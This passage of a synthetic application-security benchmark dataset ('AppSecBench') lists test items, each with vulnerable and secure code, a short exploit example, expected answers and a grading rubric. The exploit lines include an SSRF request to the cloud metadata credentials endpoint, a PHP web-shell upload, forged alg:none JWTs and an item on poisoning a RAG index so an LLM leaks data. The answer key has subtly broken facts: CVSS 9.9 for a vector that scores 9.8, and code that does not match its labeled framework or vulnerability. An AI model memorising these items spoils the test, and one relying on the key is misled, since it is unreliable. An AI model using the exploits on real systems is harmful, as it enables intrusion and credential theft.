"owasp_llm": "", "cwe": "CWE-307", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000550", "title": "Kubernetes Security in YAML", "category": "Security Misconfiguration", "language": "YAML", "framework": "None", "application_type": "Infrastructure-as-Code", "source_type": "synthetic", "vulnerability_name": "Kubernetes Security", "vulnerability_description": "A pod or cluster is over-privileged (privileged container, hostPath mount, wildcard RBAC) enabling node compromise.", "vulnerable_code": "# VULNERABLE: privileged container\nspec:\n containers:\n - name: app\n image: app:latest\n securityContext:\n privileged: true", "secure_code": "# SECURE: non-root, drop caps, read-only FS\nspec:\n securityContext:\n runAsNonRoot: true\n seccompProfile:\n type: RuntimeDefault\n containers:\n - name: app\n image: app@sha256:abc...\n securityContext:\n allowPrivilegeEscalation: false\n readOnlyRootFilesystem: true\n capabilities:\n drop: [\"ALL\"]", "exploit_example": "privileged:true -> mount host fs -> node compromise.", "exploitability_explanation": "The 'Kubernetes Security' weakness (CWE-250, A05:2021) is exploitable because the YAML implementation in the None context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Access to submit workloads or a compromised container in the cluster.", "expected_llm_analysis": "The model/tool should flag 'Kubernetes Security' (CWE-250, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Kubernetes Security' (CWE-250, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Run as non-root, drop capabilities, use read-only root FS, set seccomp, and apply least-privilege RBAC.", "expected_secure_code": "# SECURE: non-root, drop caps, read-only FS\nspec:\n securityContext:\n runAsNonRoot: true\n seccompProfile:\n type: RuntimeDefault\n containers:\n - name: app\n image: app@sha256:abc...\n securityContext:\n allowPrivilegeEscalation: false\n readOnlyRootFilesystem: true\n capabilities:\n drop: [\"ALL\"]", "expected_severity": "Critical", "expected_confidence": "Medium", "expected_cwe": "CWE-250", "expected_owasp": "A05:2021", "expected_owasp_api": "", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.2, "expected_false_negative_probability": 0.25, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["kubernetes-security", "cwe-250", "owasp-a052021", "yaml", "advanced"], "references": ["https://cwe.mitre.org/data/definitions/250.html", "https://owasp.org/Top10/A05_2021-Security_Misconfiguration/"], "metadata": {"difficulty": "Advanced", "category": "Security Misconfiguration", "owasp": "A05:2021", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-250", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000082", "title": "Server-Side Request Forgery in JavaScript (Next.js)", "category": "Injection", "language": "JavaScript", "framework": "Next.js", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Server-Side Request Forgery", "vulnerability_description": "A server fetches a URL built from user input, letting an attacker reach internal services, cloud metadata endpoints, or ports not exposed publicly.", "vulnerable_code": "app.post(\"/api/config\", async (req, res) => {\n const url = req.body.url;\n // VULNERABLE\n const r = await fetch(url);\n res.send(await r.text());\n});", "secure_code": "app.post(\"/api/config\", async (req, res) => {\n const url = req.body.url;\n // SECURE: allow-list host + block metadata\n const h = new URL(url).hostname;\n if (!ALLOWED.has(h) || h.endsWith(\".internal\")) return res.sendStatus(403);\n const r = await fetch(url);\n res.send(await r.text());\n});", "exploit_example": "POST /api/config {\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}", "exploitability_explanation": "The 'Server-Side Request Forgery' weakness (CWE-918, A10:2021) is exploitable because the JavaScript implementation in the Next.js context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network access to the endpoint that fetches a user-supplied URL.", "expected_llm_analysis": "The model/tool should flag 'Server-Side Request Forgery' (CWE-918, mapped to A10:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Server-Side Request Forgery' (CWE-918, mapped to A10:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Allow-list schemes/hosts, resolve and compare to a deny-list of internal ranges, block link-local/metadata IPs, and require auth for the fetcher.", "expected_secure_code": "app.post(\"/api/config\", async (req, res) => {\n const url = req.body.url;\n // SECURE: allow-list host + block metadata\n const h = new URL(url).hostname;\n if (!ALLOWED.has(h) || h.endsWith(\".internal\")) return res.sendStatus(403);\n const r = await fetch(url);\n res.send(await r.text());\n});", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-918", "expected_owasp": "A10:2021", "expected_owasp_api": "API7:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.1, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["server-side-request-forgery", "cwe-918", "owasp-a102021", "javascript", "next.js", "beginner"], "references": ["https://owasp.org/www-community/attacks/Server_Side_Request_Forgery", "https://cwe.mitre.org/data/definitions/918.html"], "metadata": {"difficulty": "Beginner", "category": "Injection", "owasp": "A10:2021", "owasp_api": "API7:2023", "owasp_llm": "", "cwe": "CWE-918", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000487", "title": "Insecure File Upload in TypeScript (NestJS)", "category": "Injection", "language": "TypeScript", "framework": "NestJS", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Insecure File Upload", "vulnerability_description": "Uploaded files are not validated for type, content, or location, enabling remote code execution or storage abuse.", "vulnerable_code": "function loadUser(req,res){ req.file.mv(UPLOAD+req.file.name); res.end(); }", "secure_code": "function fetchRecord(req,res){ if(!ALLOWED.has(ext(req.file.name))) return res.sendStatus(400); req.file.mv(UPLOAD+uuid()+ext(req.file.name)); res.end(); }", "exploit_example": "Upload shell.php -> reachable at /uploads/shell.php -> RCE.", "exploitability_explanation": "The 'Insecure File Upload' weakness (CWE-434, A03:2021) is exploitable because the TypeScript implementation in the NestJS context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to POST a file to the upload endpoint.", "expected_llm_analysis": "The model/tool should flag 'Insecure File Upload' (CWE-434, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Insecure File Upload' (CWE-434, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Validate magic bytes + extension allow-list, rename server-side, store outside web root, and scan content.", "expected_secure_code": "function fetchRecord(req,res){ if(!ALLOWED.has(ext(req.file.name))) return res.sendStatus(400); req.file.mv(UPLOAD+uuid()+ext(req.file.name)); res.end(); }", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-434", "expected_owasp": "A03:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.25, "expected_false_negative_probability": 0.3, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["insecure-file-upload", "cwe-434", "owasp-a032021", "typescript", "nestjs", "expert"], "references": ["https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload", "https://cwe.mitre.org/data/definitions/434.html"], "metadata": {"difficulty": "Expert", "category": "Injection", "owasp": "A03:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-434", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000255", "title": "Insecure File Upload in C# (ASP.NET Core)", "category": "Injection", "language": "C#", "framework": "ASP.NET Core", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Insecure File Upload", "vulnerability_description": "Uploaded files are not validated for type, content, or location, enabling remote code execution or storage abuse.", "vulnerable_code": "[HttpPost(\"/api/upload\")] public IActionResult renderView(IFormFile f) { f.CopyTo(System.IO.File.Create(UPLOAD+f.FileName)); return Ok(); }", "secure_code": "[HttpPost(\"/api/upload\")] public IActionResult getItem(IFormFile f) { if(!ALLOWED.Contains(Path.GetExtension(f.FileName))) return BadRequest(); f.CopyTo(System.IO.File.Create(UPLOAD+Guid.NewGuid()+Path.GetExtension(f.FileName))); return Ok(); }", "exploit_example": "Upload shell.php -> reachable at /uploads/shell.php -> RCE.", "exploitability_explanation": "The 'Insecure File Upload' weakness (CWE-434, A03:2021) is exploitable because the C# implementation in the ASP.NET Core context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to POST a file to the upload endpoint.", "expected_llm_analysis": "The model/tool should flag 'Insecure File Upload' (CWE-434, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Insecure File Upload' (CWE-434, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Validate magic bytes + extension allow-list, rename server-side, store outside web root, and scan content.", "expected_secure_code": "[HttpPost(\"/api/upload\")] public IActionResult getItem(IFormFile f) { if(!ALLOWED.Contains(Path.GetExtension(f.FileName))) return BadRequest(); f.CopyTo(System.IO.File.Create(UPLOAD+Guid.NewGuid()+Path.GetExtension(f.FileName))); return Ok(); }", "expected_severity": "Critical", "expected_confidence": "Medium", "expected_cwe": "CWE-434", "expected_owasp": "A03:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.2, "expected_false_negative_probability": 0.25, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["insecure-file-upload", "cwe-434", "owasp-a032021", "c#", "asp.net core", "advanced"], "references": ["https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload", "https://cwe.mitre.org/data/definitions/434.html"], "metadata": {"difficulty": "Advanced", "category": "Injection", "owasp": "A03:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-434", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000233", "title": "RAG Security in TypeScript (Vue)", "category": "AI Security", "language": "TypeScript", "framework": "Vue", "application_type": "AI/LLM Application", "source_type": "synthetic", "vulnerability_name": "RAG Security", "vulnerability_description": "A retrieval-augmented generation pipeline ingests untrusted documents whose content steers the model or poisons the index.", "vulnerable_code": "function fetchRecord(q) { // VULNERABLE\n const d = idx.search(q); return llm(q + d.map(x=>x.text).join(\"\")); }", "secure_code": "function handleInput(q, t) { // SECURE\n const d = idx.search(q, {tenant:t}); return llm(q, sanitize(d), guard); }", "exploit_example": "Poison indexed doc -> model returns attacker text / leaks data.", "exploitability_explanation": "The 'RAG Security' weakness (CWE-1427, A05:2021) is exploitable because the TypeScript implementation in the Vue context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to inject documents into the indexed corpus the RAG system retrieves.", "expected_llm_analysis": "The model/tool should flag 'RAG Security' (CWE-1427, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'RAG Security' (CWE-1427, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Sanitize indexed documents, scope retrieval to the user's tenant, validate retrieved content before use, and monitor for poisoning.", "expected_secure_code": "function handleInput(q, t) { // SECURE\n const d = idx.search(q, {tenant:t}); return llm(q, sanitize(d), guard); }", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-1427", "expected_owasp": "A05:2021", "expected_owasp_api": "", "expected_owasp_llm": "LLM02:2025", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.2, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["rag-security", "cwe-1427", "owasp-a052021", "typescript", "vue", "beginner"], "references": ["https://owasp.org/www-project-top-10-for-large-language-model-applications/", "https://cwe.mitre.org/data/definitions/1427.html"], "metadata": {"difficulty": "Beginner", "category": "AI Security", "owasp": "A05:2021", "owasp_api": "", "owasp_llm": "LLM02:2025", "cwe": "CWE-1427", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000183", "title": "JWT Vulnerabilities in Go (Gin)", "category": "Authentication", "language": "Go", "framework": "Gin", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "JWT Vulnerabilities", "vulnerability_description": "A JWT implementation accepts tokens with a weak or 'none' algorithm, skips signature verification, or trusts an attacker-controlled key/secret.", "vulnerable_code": "func fetchRecord(t string) (Claims, error) {\n // VULNERABLE: parseUnverified\n return jwt.ParseUnverified(t)\n}", "secure_code": "func exportData(t string) (Claims, error) {\n // SECURE\n return jwt.Parse(t, keyFunc, jwt.WithValidMethods([]string{\"RS256\"}))\n}", "exploit_example": "Forge header alg:none token -> accepted without signature.", "exploitability_explanation": "The 'JWT Vulnerabilities' weakness (CWE-345, A07:2021) is exploitable because the Go implementation in the Gin context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to mint or tamper with a token; knowledge of the weak secret or algorithm.", "expected_llm_analysis": "The model/tool should flag 'JWT Vulnerabilities' (CWE-345, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'JWT Vulnerabilities' (CWE-345, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Verify the signature with a strong asymmetric or high-entropy symmetric key; pin the algorithm; validate aud/exp/iss; reject 'none'.", "expected_secure_code": "func exportData(t string) (Claims, error) {\n // SECURE\n return jwt.Parse(t, keyFunc, jwt.WithValidMethods([]string{\"RS256\"}))\n}", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-345", "expected_owasp": "A07:2021", "expected_owasp_api": "API2:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.25, "expected_false_negative_probability": 0.3, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["jwt-vulnerabilities", "cwe-345", "owasp-a072021", "go", "gin", "expert"], "references": ["https://cwe.mitre.org/data/definitions/345.html", "https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html"], "metadata": {"difficulty": "Expert", "category": "Authentication", "owasp": "A07:2021", "owasp_api": "API2:2023", "owasp_llm": "", "cwe": "CWE-345", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000010", "title": "Insecure Direct Object Reference in Go (Fiber)", "category": "Broken Access Control", "language": "Go", "framework": "Fiber", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Insecure Direct Object Reference", "vulnerability_description": "An endpoint exposes an object reference (id, filename, token) and trusts the caller to only access records they own, enabling horizontal privilege escalation.", "vulnerable_code": "func processRequest(w http.ResponseWriter, r *http.Request) {\n id := chi.URLParam(r, \"id\")\n // VULNERABLE\n row := db.QueryRow(\"SELECT body FROM docs WHERE id=\" + id)\n _ = row\n}", "secure_code": "func resolveTarget(w http.ResponseWriter, r *http.Request) {\n id := chi.URLParam(r, \"id\")\n // SECURE: scope by owner\n row := db.QueryRow(\"SELECT body FROM docs WHERE id=$1 AND owner=$2\", id, userID(r))\n _ = row\n}", "exploit_example": "Attacker enumerates doc_id values of other users' documents.", "exploitability_explanation": "The 'Insecure Direct Object Reference' weakness (CWE-639, A01:2021) is exploitable because the Go implementation in the Fiber context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "A valid (often low-privileged) session and knowledge of another object's identifier.", "expected_llm_analysis": "The model/tool should flag 'Insecure Direct Object Reference' (CWE-639, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Insecure Direct Object Reference' (CWE-639, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Enforce ownership/authorization on every object access; derive the principal from the session, not from user-supplied IDs.", "expected_secure_code": "func resolveTarget(w http.ResponseWriter, r *http.Request) {\n id := chi.URLParam(r, \"id\")\n // SECURE: scope by owner\n row := db.QueryRow(\"SELECT body FROM docs WHERE id=$1 AND owner=$2\", id, userID(r))\n _ = row\n}", "expected_severity": "Critical", "expected_confidence": "Medium", "expected_cwe": "CWE-639", "expected_owasp": "A01:2021", "expected_owasp_api": "API1:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.2, "expected_false_negative_probability": 0.25, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["insecure-direct-object-reference", "cwe-639", "owasp-a012021", "go", "fiber", "advanced"], "references": ["https://owasp.org/www-community/attacks/Insecure_Direct_Object_Reference", "https://cwe.mitre.org/data/definitions/639.html"], "metadata": {"difficulty": "Advanced", "category": "Broken Access Control", "owasp": "A01:2021", "owasp_api": "API1:2023", "owasp_llm": "", "cwe": "CWE-639", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000347", "title": "gRPC Security in TypeScript (Angular)", "category": "API Security", "language": "TypeScript", "framework": "Angular", "application_type": "API Service", "source_type": "synthetic", "vulnerability_name": "gRPC Security", "vulnerability_description": "A gRPC service does not enforce per-method authorization or input validation, allowing unauthorized RPC calls.", "vulnerable_code": "const server = { delete(call, cb) { // VULNERABLE\n store.delete(call.request.id); cb(null, {}); } };", "secure_code": "const server = { delete(call, cb) { // SECURE\n if(!isAdmin(call)) return cb(new Error(\"forbidden\")); store.delete(call.request.id); cb(null,{}); } };", "exploit_example": "Low-priv client calls Delete on arbitrary id.", "exploitability_explanation": "The 'gRPC Security' weakness (CWE-285, A01:2021) is exploitable because the TypeScript implementation in the Angular context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network access to the gRPC service and a valid (low-priv) credential.", "expected_llm_analysis": "The model/tool should flag 'gRPC Security' (CWE-285, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'gRPC Security' (CWE-285, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Require per-method authn/authz (interceptors), validate messages, and avoid exposing unsafe RPCs.", "expected_secure_code": "const server = { delete(call, cb) { // SECURE\n if(!isAdmin(call)) return cb(new Error(\"forbidden\")); store.delete(call.request.id); cb(null,{}); } };", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-285", "expected_owasp": "A01:2021", "expected_owasp_api": "API5:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.1, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, 